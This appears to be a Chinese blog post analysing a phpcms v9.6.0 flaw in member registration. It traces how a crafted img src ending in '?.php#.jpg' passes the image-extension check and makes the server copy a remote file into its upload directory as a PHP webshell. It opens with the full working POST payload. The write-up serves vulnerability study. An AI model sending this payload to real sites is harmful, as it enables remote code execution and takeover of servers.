2019-7-25
phpcms漏洞分析
payload
http://127.0.0.1:8080/index.php?m=member&c=index&a=register&siteid=1 POST数据 siteid=1&modelid=1&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://127.0.0.1/shell.txt?.php#.jpg>&dosubmit=1&protocol=
从payload可以看到利用的是注册功能,注册的的代码位于
/phpcms/modules/member/index.php
的33行的register函数。从payload还可以看到利用的变量是$_POST['info']
,在register函数中寻找$_POST['info']
,可以迅速定位到第134和135行134行代码对使用
new_html_special_chars
函数对$_POST['info']
数组做了处理。可以看到在进入135行的get函数之前,
$_POST['info']
的值还是{content=>"<img src=http://127.0.0.1/shell.txt?.php#.jpg>"}
,只是经过了标签实体化处理。继续跟进
$this->GET()
方法。该函数的21-46行都是对
$field
的值进行处理。$field
的值就是$_POST[info]
中的键,这里我们只关注payload中的键content
。37行会获取$value
的长度,然后进行检测。再看第47和48行,这里
$func
会获取$this->fields[$field]['formtype']
的值,然后作为函数名在48行执行,如果该函数存在的话。可以将
$this->fields[$field]
中的所有formtype都打印出来如下['catid']['formtype'] => 'catid', ['typeid']['formtype'] => 'typeid', ['title']['formtype'] => 'title', ['keywords']['formtype'] => 'keyword', ['copyfrom']['formtype'] => 'copyfrom', ['description']['formtype'] => 'textarea', ['updatetime']['formtype'] => 'datetime', ['content']['formtype'] => 'editor', ['thumb']['formtype'] => 'image', ['relation']['formtype'] => 'omnipotent', ['pages']['formtype'] => 'pages', ['inputtime']['formtype'] => 'datetime', ['posids']['formtype'] => 'posid', ['groupids_view']['formtype'] => 'groupid', ['voteid']['formtype'] => 'omnipotent', ['islink']['formtype'] => 'islink', ['url']['formtype'] => 'text', ['listorder']['formtype'] => 'number', ['template']['formtype'] => 'template', ['allow_comment']['formtype'] => 'box', ['status']['formtype'] => 'box', ['readpoint']['formtype'] => 'readpoint', ['username']['formtype'] => 'text'
这里content的formtype的方法
editor
方法会对文件进行处里,所以payload的键为content
跟进editor函数,代码如下
这里利用的是第64行的download
方法,继续跟进该方法,代码如下
函数的第153行有一行正则会对我们的
$value
进行检测。这里的$value=<img src=http://127.0.0.1/shell.txt?.php#.jpg>
这个正则会检测文件的后缀是否是gif|jpg|jpeg|bmp|png
中的。如果后缀中没有则不会继续执行。
payload中通过#.jpg
绕过了该正则。返回的$matches为array(5) { [0]=> array(1) { [0]=> string(40) "src=http://127.0.0.1/shell.txt?.php#.jpg" } [1]=> array(1) { [0]=> string(3) "src" } [2]=> array(1) { [0]=> string(0) "" } [3]=> array(1) { [0]=> string(36) "http://127.0.0.1/shell.txt?.php#.jpg" } [4]=> array(1) { [0]=> string(3) "jpg" } }
继续向下看代码,在159行会调用
fillurl
方法对$matche
做处理,此时的$matche是http://127.0.0.1/shell.txt?.php#.jpg
,跟进fillurl方法代码如下这两行代码会去掉url中的
#
之后的内容,经过处理后的$surl
为http://127.0.0.1/shell.txt?.php
所以最后的返回值也就是
http://127.0.0.1/shell.txt?.php
,继续向下看download函数的第166行,这里的fileext函数是获取文件后缀的函数,fileext代码如下function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
传入fileext函数的值为
$file
,这里的$file
为http://127.0.0.1/shell.txt?.php
strrchr() 函数会查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
所以这里返回的结果就是文件扩展名就是
php
。接下来进入到download函数的第168行,这里的
getname
函数会生成新的文件名。这里传入的参数是$filename
,它的值就是fileext函数的返回结果php
。getname
函数的代码如下。function getname($fileext){ return date('Ymdhis').rand(100, 999).'.'.$fileext; }
这里会根据当前的时间和100-999之前的三位数字再加上传入的文件扩展名生成一个文件名。然后赋值给
$filename
.接着和$uploaddir
拼接生成新文件的路径$newfile
.download函数的171行和172行代码如下
$upload_func = $this->upload_func; if($upload_func($file, $newfile)) {
这里的
$this->upload_func
为copy,在
/phpcms/libs/classes/attachment.class.php
中的attachment类中的析构函数就有定义。
所以
$upload_func($file, $newfile)
就相当于copy($file, $newfile)
,这里的$file
为http://127.0.0.1/shell.txt?.php
$newfile
为/private/var/www/html/cms/phpcms_v9.6.0/install_package/uploadfile/2019/0726/20190726015843896.php
。这样就可以将远程服务器的文件内容写入到网站的目录下。这里的url虽然看起来怪怪得,但是不影响正常获取shell.txt的内容。
copy远程文件需要php开启allow_url_fopen选项,此选项php默认是开启的。
梳理
在梳理一下执行流程。
- 构造info[content]="<img src=http://127.0.0.1/shell.txt?.php#.jpg>&dosubmit=1&protocol="
- 传入$member_input->get()方法。
- 通过
$func = $this->fields[$field]['formtype'];
执行editor方法
- 通过执行editor方法调用
$this->attachment->download()
- 再通过download方法中的
$upload_func
函数执行copy函数。